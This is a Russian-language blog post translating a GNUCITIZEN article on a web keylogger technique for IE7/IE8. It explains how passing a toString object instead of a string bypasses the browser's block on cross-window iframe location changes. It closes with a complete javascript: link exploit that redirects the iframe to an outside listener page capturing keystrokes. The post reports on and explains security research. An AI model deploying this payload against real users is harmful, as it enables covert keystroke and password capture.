Довольно любопытный пост недавно появился на GNUCITIZEN. В нем рассказывается о новом способе слежения за пользователями, с помощью которого вполне реально создать настоящий веб кейлоггер, активизирующийся после нажатия по обычной ссылке. Ссылка, естественно, не простая 😉 Итак, вот мой перевод поста.
Существует несколько конференций, которые проводятся закрыто, и их уровень обычно довольно высок. Одной из них является конференция BlueHat, которую проводит Microsoft. BlueHat – это внутреннее мероприятие MS, однако компания приглашает множество специалистов по безопасности со всего мира. Вместе с парой моих друзей я присутствовал на ней, и, несомненно, она оказалось довольно занимательной. Особенно нас заинтересовала речь Мануэля Кабаллеро (Manuel Caballero), которая была презентована под названием «Житель в моем домене» («A resident in my domain»). Анонс его выступления был по-настоящему интригующим:
Вы верите в приведения? Представьте невидимый скрипт, который бесшумно следует за Вами, в то время как Вы посещаете страницы в интернете, даже после того, как Вы сменили адрес тысячу раз, чувствуя себя в совершенной безопасности. Теперь представьте, что приведение способно видеть все, что Вы делаете, включая, страницы, которые Вы посещаете, набираемый Вами текст (включая пароли), и даже предугадать Ваш следующий шаг.
Не требуется никаких загрузок, не нужны подтверждения пользователя и ActiveX. Другими словами: никаких дописываемых строк. Мы изучим силу скриптов- резидентов (resident scripts) и силу глобального междомена (global cross-domain). Также мы исследуем методы обнаружения междоменов и скриптов-резидентов.
Очевидно, что Кабаллеро нашел метод захвата нажатий клавиш и расположений окон. Это означает, что «по крайней мере» он может изменять document.onkeydown и читать window.location, однако, если бы он мог изменять document.onkeydown, это бы значило, что у него есть доступ к исполнению произвольного кода в контексте других доменов, но это не так, иначе он мог бы не просто захватывать нажатия клавиш, но и выполнить атаку вида UXSS (Universal XSS*) на браузер.
Примечание: Universal XSS отличается от обычной XSS тем, что уязвимость заключается не в веб-приложении, а в самом браузере.
В любом случае, две вещи, которыми, по его заявлению, он способен манипулировать, также могут быть взяты под контроль iframe’ом, расположенным на стороннем домене. Таким образом, если у нас есть возможность произвольного изменения местоположения iframe’а, то мы сможем захватывать нажатия клавиш в нашем собственном окне. Итак, нам нужен способ изменения адреса iframe’а, но прежде всего нам нужно получить ссылку на окно, где сидит наш iframe. Существует два основных способа получения ссылки на окно:
x=open().window
x=window.opener
Оба варианта требуют от пользователя открытия нового окна, они работают практически одинаково. Если Вам удастся заставить пользователя открыть новое окно, то перемещения пользователя не будут иметь значения (если оба окна остаются открытыми; в любом случае, если пользователь их закрыл, то вы можете снова их открыть и задействовать событие onblur), и вы получите контроль над окнами. Итак, каким образом мы сможем это сделать? Нам нужна ссылка на iframe. Для этого есть следующие способы:
document.getElementsByTagName("iframe") { /*не работает на междоменных вызовах*/ }
window.frames[] { /*работает на междоменных вызовах*/ }
Теперь нам необходимо просто изменить location. Ничего особенного, банальное присвоение window.opener.frames[0].location=”new location” должно работать. Однако на свежих версиях IE7 и IE8 этот метод не работает. Когда вы попробуете выполнить такой код, браузер откроет новое окно, не изменив location iframe’а.
После некоторых тестов, нам удалось изменить location , но только в том случае, когда его значение не является строкой. У нас есть следующие варианты:
window.opener.frames[0].location=123;
window.opener.frames[0].location=window;
window.opener.frames[0].location=location;
Отлично работает! Но почему? Судя по всему, IE7&8 имеют защиту против установки значений location сторонними скриптами, и ее суть заключается в следующем: «если установленное значение location является строкой, то выдаем ошибку». Не хорошо! У нас есть множество способов для того, чтобы заставить строку выглядеть как объект. Например:
new String("some-string");
{toString:function(){return "some-string";}}
new function(){this.toString=function(){return "some-string";}}
С помощью данных трюков мы можем обойти ограничения IE и установить произвольное значение location без каких-либо проблем. И финальный код эксплоита выглядит так:
<a href="javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);">Click me!</a>
Все что делает caballero-listener.html – это всего-навсего фокусирование на себя, поэтому этот скрипт может ловить событие onkeydown. Существует множество способов реализации этого кода в более скрытном режиме.
Leave a Reply